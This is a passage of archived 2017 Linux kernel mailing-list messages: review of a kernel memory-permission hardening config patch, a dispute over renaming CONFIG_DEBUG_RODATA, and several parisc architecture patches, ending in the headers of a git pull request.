>> -
>> -	  If in doubt, say Y.
>> -
>>  config DEBUG_ALIGN_RODATA
>>  	depends on ARCH_HAS_HARDENED_MAPPINGS
>>  	bool "Align linker sections up to SECTION_SIZE"
>
> [...]
>
>> --- a/arch/s390/Kconfig
>> +++ b/arch/s390/Kconfig
>> @@ -69,6 +69,7 @@ config S390
>>  	select ARCH_HAS_GCOV_PROFILE_ALL
>>  	select ARCH_HAS_GIGANTIC_PAGE
>>  	select ARCH_HAS_HARDENED_MAPPINGS
>> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
>>  	select ARCH_HAS_KCOV
>>  	select ARCH_HAS_SG_CHAIN
>>  	select ARCH_HAS_UBSAN_SANITIZE_ALL
>> diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
>> index 26c5d5be..57f8ea9 100644
>> --- a/arch/s390/Kconfig.debug
>> +++ b/arch/s390/Kconfig.debug
>> @@ -17,7 +17,4 @@ config S390_PTDUMP
>>  	  kernel.
>>  	  If in doubt, say "N"
>>
>> -config DEBUG_SET_MODULE_RONX
>> -	def_bool y
>> -	depends on MODULES
>>  endmenu
>> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
>> index 9d80cd8..38ce850 100644
>> --- a/arch/x86/Kconfig
>> +++ b/arch/x86/Kconfig
>> @@ -51,6 +51,7 @@ config X86
>>  	select ARCH_HAS_FAST_MULTIPLIER
>>  	select ARCH_HAS_GCOV_PROFILE_ALL
>>  	select ARCH_HAS_HARDENED_MAPPINGS
>> +	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
>>  	select ARCH_HAS_KCOV			if X86_64
>>  	select ARCH_HAS_MMIO_FLUSH
>>  	select ARCH_HAS_PMEM_API		if X86_64
>> diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
>> index 67eec55..69cdd0b 100644
>> --- a/arch/x86/Kconfig.debug
>> +++ b/arch/x86/Kconfig.debug
>> @@ -109,17 +109,6 @@ config DEBUG_WX
>>
>>  	  If in doubt, say "Y".
>>
>> -config DEBUG_SET_MODULE_RONX
>> -	bool "Set loadable kernel module data as NX and text as RO"
>> -	depends on MODULES
>> -	---help---
>> -	  This option helps catch unintended modifications to loadable
>> -	  kernel module's text and read-only data. It also prevents execution
>> -	  of module data. Such protection may interfere with run-time code
>> -	  patching and dynamic kernel tracing - and they might also protect
>> -	  against certain classes of kernel exploits.
>> -	  If in doubt, say "N".
>> -
>>  config DEBUG_NX_TEST
>>  	tristate "Testcase for the NX non-executable stack feature"
>>  	depends on DEBUG_KERNEL && m
>
> [...]
>
>> --- a/security/Kconfig
>> +++ b/security/Kconfig
>> @@ -174,6 +174,22 @@ config HARDENED_PAGE_MAPPINGS
>>  	  Unless your system has known restrictions or performance issues, it
>>  	  is recommended to say Y here.
>>
>> +config ARCH_HAS_HARDENED_MODULE_MAPPINGS
>> +	def_bool n
>> +
>> +config HARDENED_MODULE_MAPPINGS
>> +	bool "Mark module mappings with stricter permissions (RO/W^X)"
>> +	default y
>> +	depends on ARCH_HAS_HARDENED_MODULE_MAPPINGS
>
> It would seem that this ends up losing the previous dependency on
> MODULES - is that intentional?
>
> Robin.
>

(Apologies, my SMTP was set up incorrectly so this didn't actually
get sent out when I thought it did)

No, good catch. I missed re-adding that when doing the refactoring.

Thanks,
Laura

>>
>



From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Wed, 25 Jan 2017 14:51:24 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <20170125135124.GA20896@amd>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com>
 <20170119075341.GA14530@amd>
 <fca01775-9640-8783-a657-a9e6cf0c3e0a@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="CE+1k2dSO48ffgeK"
X-Trace: blaine.gmane.org 1485352311 14688 195.159.176.226 (25 Jan 2017 13:51:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jan 2017 13:51:51 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Kees Cook <keescook@chromium.org>,
	Jason Wessel <jason.wessel@windriver.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>, "H. Peter Anvin" <hpa@zytor.com>,
	x86@kernel.org, Rob Herring <robh@kernel.org>,
	"Rafael J. Wysocki" <rjw@rjwysocki.net>,
	Len Brown <len.brown@intel.com>,
	Mark Rutland <mark.rutland@arm.com>, Jessica Yu <jeyu@redhat.com>,
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-pm@vger.kernel.org,
	kernel-hard
To: Laura Abbott <labbott@redhat.com>
Original-X-From: kernel-hardening-return-6153-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Wed Jan 25 14:51:41 2017
Return-path: <kernel-hardening-return-6153-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6153-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cWNz6-0002Wc-AJ
	for glkh-kernel-hardening@m.gmane.org; Wed, 25 Jan 2017 14:51:36 +0100
Original-Received: (qmail 28435 invoked by uid 550); 25 Jan 2017 13:51:37 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 28417 invoked from network); 25 Jan 2017 13:51:36 -0000
Content-Disposition: inline
In-Reply-To: <fca01775-9640-8783-a657-a9e6cf0c3e0a@redhat.com>
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5306 gmane.linux.documentation:44515 gmane.linux.kernel:2395972 gmane.linux.ports.arm.kernel:554040 gmane.linux.ports.parisc:27228 gmane.linux.power-management.general:85788
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5306>


--CE+1k2dSO48ffgeK
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed 2017-01-25 12:21:05, Laura Abbott wrote:
> On 01/19/2017 08:53 AM, Pavel Machek wrote:
> >On Wed 2017-01-18 17:29:05, Laura Abbott wrote:
> >>
> >>Despite the word 'debug' in CONFIG_DEBUG_RODATA, this kernel option
> >>provides key security features that are to be expected on a modern
> >>system. Change the name to CONFIG_HARDENED_PAGE_MAPPINGS which more
> >>accurately describes what this option is intended to do.
> >
> >I think this is bad change. CONFIG_DEBUG_RODATA is describing what it
> >does, CONFIG_HARDENED_PAGE_MAPPINGS is advertising.
> >
> >We don't do advertising, and we don't force people to re-answer the
> >config questions without good reason.
> >
> >CONFIG_HARDENED_RODATA might fix the first problem, but not the second
> >one.
> >
> >								Pavel
> >							=09
>=20
> (Apologies, my SMTP was set up incorrectly so my response didn't
> actually get sent out)
>=20
> CONFIG_DEBUG_RODATA isn't describing what it does though. It misses
> that this config may handle much more than just rodata. I think
> Mark Rutland's suggestion of STRICT_KERNEL_RWX might be more
> descriptive.

CONFIG_BUG=3Dy
CONFIG_LBDAF=3Dy
CONFIG_PM_OPP=3Dy

=2E.it is config option. It is not description of the feature. People
are living with that config option for a while. I'd keep it.

Maybe you can go from CONFIG_DEBUG_RODATA to CONFIG_RODATA... (but
you'll still have people re-answer config option.)


								Pavel
--=20
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blo=
g.html

--CE+1k2dSO48ffgeK
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iEYEARECAAYFAliIrVwACgkQMOfwapXb+vKDIQCeObwXTavXbjg0vV7fo6GrI6mz
+TEAn3KekWFvtsx4J9UCa0MsjGe1ktv4
=Av9j
-----END PGP SIGNATURE-----

--CE+1k2dSO48ffgeK--


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Sat, 28 Jan 2017 12:13:10 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20170128111310.GA13389@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1485602463 14393 195.159.176.226 (28 Jan 2017 11:21:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2017 11:21:03 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
Cc: linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 28 12:20:58 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cXR3f-0001wY-Ce
	for glpp-linux-parisc@m.gmane.org; Sat, 28 Jan 2017 12:20:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751225AbdA1LUp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 28 Jan 2017 06:20:45 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:57884 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750858AbdA1LUl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 28 Jan 2017 06:20:41 -0500
Original-Received: from ls3530.fritz.box ([92.203.22.148]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LhfZR-1cBnS42373-00mrHN; Sat, 28
 Jan 2017 12:13:13 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:II7F0BBqrOCvixsFG2gO9bP9lubUB7QqmfG9ZyIXZcaSClwkJUQ
 U36JdvVihhs823BQl1FAjB2VYsuj0IDBciOr9+Dpxw5orOI+VrN88H1sOXgfiGA9ziEdMl2
 2+eltUM96PaXlill6lui/zPQTPUR+0XFUiMDlEH8LYis5nZQnxjNBSA9Ea8U0MzGT83B2og
 EMbRVxB/5ZSNqC/h5artQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:bFaxLioJpNU=:J45NlnBByt2dizMjj4k6Yr
 TTPmM6cHl6rPo2WVh+QPvKRYSX19Mr2s11YdYUmsiziW9ALFl/l7wNDiBcILAgqQAgSO6pWOC
 KEihK05mnM6oEnQVwB1V/MdlzpDLQtuWig6kZgCu+ATY1kl+K0U2B+iCQ9D6Qjqz1fNJRyp3p
 H9NIUcPRM4OWf4KCI6MxsZDBL3hMHBaAxMZAfIcYUiKYtxFd8te4/C82LF48mdyyspkXAKhhh
 DbOIzl8hfn3awX4RP8JtBTklaCAG2oEPhT0VgGeJ1uPtsvqimbmK1TKkbLPM2IQCCV72r0q0p
 iP2JDY0i3lcPphwrUr72v6GY7cws6CRuhdv/bhDYFuoKJzDq+MnhpEL+8ZJL54GD2B3BEYx0T
 pC61uZlYpkX/130A6x6LtYxMI9kl0gv0wZh1IVhBqfT9WOX9Bbx6kPwRrfYzUklJTFqQxBXYn
 3w6qLHvc4X0JsOmDk8lc1Gi4eJIrJP68NEXxY4kvcYamF8pO31yrrLagfEo3Ro260fJ+o2PAo
 am+XyT6LenN+zl2od1tyUYrMafRU+yYDzsIyQitYXOjy1pjJYDL8zACQ8jm8F685nyJiYxYsh
 Spw7XQsckBFTxnU5y9EeIdQ1IjKHuzY83hBJYsP0ShLJjBrTBqzUsliMUO62/naZjmGiXG4e6
 GPLuowiIwlLVaLdsqenNHN3uGrrv10ie5C1vTeFMFsx+L/wsRbVfSDOdOygMHMbhesUYVoJQH
 SRwVLxYfqrYrDnyjA5TnV3RAs8mAzcI+TtzclYV1LXKijJbQ0ogxU6qYgtQ=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27229 gmane.linux.kernel:2398322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27229>

The prctl(PR_GET_ENDIAN) syscall was added to Kernel 2.6.18, but
implemented for PowerPC only.
This trivial patch adds support for this syscall for all other architectures.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/kernel/sys.c b/kernel/sys.c
index 842914e..5818e5e 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -79,9 +79,6 @@
 #ifndef GET_FPEXC_CTL
 # define GET_FPEXC_CTL(a, b)	(-EINVAL)
 #endif
-#ifndef GET_ENDIAN
-# define GET_ENDIAN(a, b)	(-EINVAL)
-#endif
 #ifndef SET_ENDIAN
 # define SET_ENDIAN(a, b)	(-EINVAL)
 #endif
@@ -2136,7 +2133,13 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
 			return -EFAULT;
 		break;
 	case PR_GET_ENDIAN:
+#ifdef GET_ENDIAN
 		error = GET_ENDIAN(me, arg2);
+#elif defined(__BIG_ENDIAN)
+		error = put_user(PR_ENDIAN_BIG, (unsigned int __user *)arg2);
+#else
+		error = put_user(PR_ENDIAN_LITTLE, (unsigned int __user *)arg2);
+#endif
 		break;
 	case PR_SET_ENDIAN:
 		error = SET_ENDIAN(me, arg2);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Don't use BITS_PER_LONG in userspace-exported swab.h
 header
Date: Sat, 28 Jan 2017 11:52:02 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <20170128105202.GA8664@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1485602642 5460 195.159.176.226 (28 Jan 2017 11:24:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2017 11:24:02 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
Cc: Richard Henderson <rth@twiddle.net>
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 28 12:23:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cXR6i-0005W0-CU
	for glpp-linux-parisc@m.gmane.org; Sat, 28 Jan 2017 12:23:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750837AbdA1LXx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 28 Jan 2017 06:23:53 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:50025 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750828AbdA1LXx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 28 Jan 2017 06:23:53 -0500
Original-Received: from ls3530.fritz.box ([92.203.22.148]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LngRb-1c0HBO3frz-00hyye; Sat, 28
 Jan 2017 11:52:10 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:0SxYWe/aEk9/jzHa1/j8/shU8Ml0uGn1a5CfmjdBf2NYorid8Up
 j66DVZqzqeS3QrbbbJX/tTAFf+SoyuHZDhkPJZKUCIDK0dNKZxmXgGBqZVFygNfsPnQ7mUK
 NvCxdr77JvREcqMtY9WHNyaDGMr1YPFWgoMMhkmxvbSo7ZjK3WkXs+4pfYysHmPpUNXxixt
 8r640AFqe/l7RpphFk8eg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:88tADg4fvNk=:oECL+IPPo/kopZbwbFQ3fo
 2lT7GBxh5RWT3iSPm8qwIwSfc24wZR3/erWCs4LZb12rAorSh69WBjY8Pb2zoQ2lHZipvhObh
 Ls+QgaSY+JJpAxjeCsjcH2xpwkdeJ+aRHDd4psdj7B04OHOz1/gBdTBMgNNQdXm5tPBIU6/ry
 +sCpp49JSr75GWiA9V4FTDeqPNBGjY5ymXe0J6BwuAcPasugRdEcSK2D+5vh7RtH4gLyAe0+d
 duAySDzPFLdXtUCsNgtrdeYuJTIq5Q4xaZUfn6+JTxnnK/B4EAsFAxhRKUjxx9gFF4pt2xpan
 0Jla8IQt14eAZLM6/B7kvjkC39wCnUPWoglysvlQ+8VkE1D5gUWmEidM9oMIPqPexiALDBTOB
 Nepmj3j6KuDwMFY2jBAOl6TiTLaF2s8ZOUKdJhnq/3DtujRMUf6QCmJsGAV7mwChcUQol/Mi1
 jHMnd8rEgijpg528KHQHOkJ2urS5NltU1MIsZU9Yy4hGwTHpGZCxoQy6Cry6/DJyVsiy04bLi
 bsxtNFfWzTKwytuvVKloP1QAqNExBf4+n7krG5xjSm+PRWobM8IJufSwGozX7jw+L5DzM6rVZ
 LmS1uGwo8AznVA6Wbuh5X8vqO3AdrFbXUFBmA9z1bPB51/yyJ7rLYQD4K13RSRMJwsQCAzOtt
 n6fxvZ5AA183vRNbAKSVYULwwlLfaT/nXYmftxlRVo8UrcsuxBhRa8hB7qYX3rnfvkOMw09s0
 Lb7SBFD/7yxGfq4RoxNxcIAzorA75ePL5/PREURdvYU6+6eavHUghi3JqEk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27230
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27230>

In swab.h the "#if BITS_PER_LONG > 32" breaks compiling userspace programs if
BITS_PER_LONG is #defined by userspace with the sizeof() compiler builtin.

Solve this problem by using __BITS_PER_LONG instead.  Since we now
#include asm/bitsperlong.h avoid further potential userspace pollution
by moving the #define of SHIFT_PER_LONG to bitops.h which is not
exported to userspace.

This patch unbreaks compiling qemu on hppa/parisc.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: <stable@vger.kernel.org>

diff --git a/arch/parisc/include/asm/bitops.h b/arch/parisc/include/asm/bitops.h
index 3f9406d..da87943 100644
--- a/arch/parisc/include/asm/bitops.h
+++ b/arch/parisc/include/asm/bitops.h
@@ -6,7 +6,7 @@
 #endif
 
 #include <linux/compiler.h>
-#include <asm/types.h>		/* for BITS_PER_LONG/SHIFT_PER_LONG */
+#include <asm/types.h>
 #include <asm/byteorder.h>
 #include <asm/barrier.h>
 #include <linux/atomic.h>
@@ -17,6 +17,12 @@
  * to include/asm-i386/bitops.h or kerneldoc
  */
 
+#if __BITS_PER_LONG == 64
+#define SHIFT_PER_LONG 6
+#else
+#define SHIFT_PER_LONG 5
+#endif
+
 #define CHOP_SHIFTCOUNT(x) (((unsigned long) (x)) & (BITS_PER_LONG - 1))
 
 
diff --git a/arch/parisc/include/uapi/asm/bitsperlong.h b/arch/parisc/include/uapi/asm/bitsperlong.h
index e0a23c7..07fa7e5 100644
--- a/arch/parisc/include/uapi/asm/bitsperlong.h
+++ b/arch/parisc/include/uapi/asm/bitsperlong.h
@@ -3,10 +3,8 @@
 
 #if defined(__LP64__)
 #define __BITS_PER_LONG 64
-#define SHIFT_PER_LONG 6
 #else
 #define __BITS_PER_LONG 32
-#define SHIFT_PER_LONG 5
 #endif
 
 #include <asm-generic/bitsperlong.h>
diff --git a/arch/parisc/include/uapi/asm/swab.h b/arch/parisc/include/uapi/asm/swab.h
index e78403b..928e1bb 100644
--- a/arch/parisc/include/uapi/asm/swab.h
+++ b/arch/parisc/include/uapi/asm/swab.h
@@ -1,6 +1,7 @@
 #ifndef _PARISC_SWAB_H
 #define _PARISC_SWAB_H
 
+#include <asm/bitsperlong.h>
 #include <linux/types.h>
 #include <linux/compiler.h>
 
@@ -38,7 +39,7 @@ static inline __attribute_const__ __u32 __arch_swab32(__u32 x)
 }
 #define __arch_swab32 __arch_swab32
 
-#if BITS_PER_LONG > 32
+#if __BITS_PER_LONG > 32
 /*
 ** From "PA-RISC 2.0 Architecture", HP Professional Books.
 ** See Appendix I page 8 , "Endian Byte Swapping".
@@ -61,6 +62,6 @@ static inline __attribute_const__ __u64 __arch_swab64(__u64 x)
 	return x;
 }
 #define __arch_swab64 __arch_swab64
-#endif /* BITS_PER_LONG > 32 */
+#endif /* __BITS_PER_LONG > 32 */
 
 #endif /* _PARISC_SWAB_H */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Define access_ok() as macro
Date: Sun, 29 Jan 2017 18:19:33 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20170129171933.GA26147@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1485710472 6096 195.159.176.226 (29 Jan 2017 17:21:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 29 Jan 2017 17:21:12 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 29 18:21:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cXt9j-0008AA-Hk
	for glpp-linux-parisc@m.gmane.org; Sun, 29 Jan 2017 18:20:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751838AbdA2RUk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 29 Jan 2017 12:20:40 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:57269 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751863AbdA2RTp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 29 Jan 2017 12:19:45 -0500
Original-Received: from ls3530.fritz.box ([92.203.21.69]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MUILK-1cxm0Y1bO6-00R2o4; Sun, 29
 Jan 2017 18:19:36 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:0mI+TxKfwcfluS/p0+VF/UwST7madE76HJZF3w8yarJXWJbcyoa
 8Vh+UXYolfCaM4b7VUa1A6+phx9cqQs/1agsEHjDfmIkJdVdbxmlCnD4taKPn9fVc+8vCjt
 /a/fiDzMraciACWglbBsS75h8X854QVjsFNpNTvhZPBaTTTCxV01aF7sSVdY48OK4/a0B95
 KAO7IsJLH3OGRKFdbkjGA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:htndZifm6EQ=:LmeoCz9UgjSvt82G7gJycR
 0bSCyQG27/tDfIhbhwAfrJeknUaDCwFm39eII6rgM/0zG17WCjv6SHLQBmvKj6cKwUG5DaNXK
 Y8sQ3BYSvR/UiBayP6s086W/lAXb0VBcDyRoGnlKFEqpgxrn7n/DbKsUyZBmoqlgPv2gvvBW4
 OcZZNSfHqCQK6hDDa43SrG8ujae3JVl+M4m8oC1yBJ1FrY3nmQc78zDaUULIka2jO1nuqmmXg
 KzG9VuzUiG5nVXEJ5Wxf0UhLkImvOet1/4tVMvNsmVLcSdjxJ0ekU2zPK+2uGk1MPS8t7QiMt
 6uC66qq6yITJwINZ62kn3RsHdamwkXr94mjhFj1yQI9ioqr8EqvfmnpMuqBPT8r6khoPLMm8x
 eJgQSbtnE3G268AYaP6WsatYZpqwgFslDuffSW0x1STstW+p5ZIqIiAmylNzW0iSqDMHxqtpx
 j1TgVFpYzWFFAg01U5ZOFJClJGLB6WzSaKydg11sO3Mlm0nDDAWdhRJxYxatLeCYm7lSYcRx5
 SDQPYmldStlBZT0lhFfyPq6pncmsNg58NbGNEl0YvEe56Xwv+fbKRbCoUFaPsSHwwhn/cYIeq
 MY39HYVgSY8QEzkzogmd8nTTihxhS5cTr/nLZJ/hUf8Tc3mTG8h01SnjG7WfD4U5Js2hDR318
 5lJ9/obYXT17Ss+XbRJ7n+HyKXyotXcj2NVQz/z6mVUddUYs+OVRQFEXrZ4ItGIDSTlHABz7v
 uScQCXQDK4Cuq6Oli04Pu/Q9KLfaiL2K8djqA+kZ2LHbyeNdMxaMsIwhBIg=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27231
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27231>

Define access_ok() as macro instead of static function. This fixes build
warnings in code where the second parameter is given as unsigned long.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 9a2aee1..fb4382c 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -32,11 +32,7 @@
  * that put_user is the same as __put_user, etc.
  */
 
-static inline long access_ok(int type, const void __user * addr,
-		unsigned long size)
-{
-	return 1;
-}
+#define access_ok(type, uaddr, size) (1)
 
 #define put_user __put_user
 #define get_user __get_user
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes for v4.10-rc6
Date: Sun, 29 Jan 2017 18:30:54 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20170129173054.GA1089@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1485711145 20076 195.159.176.226 (29 Jan 2017 17:32:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 29 Jan 2017 17:32:25 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
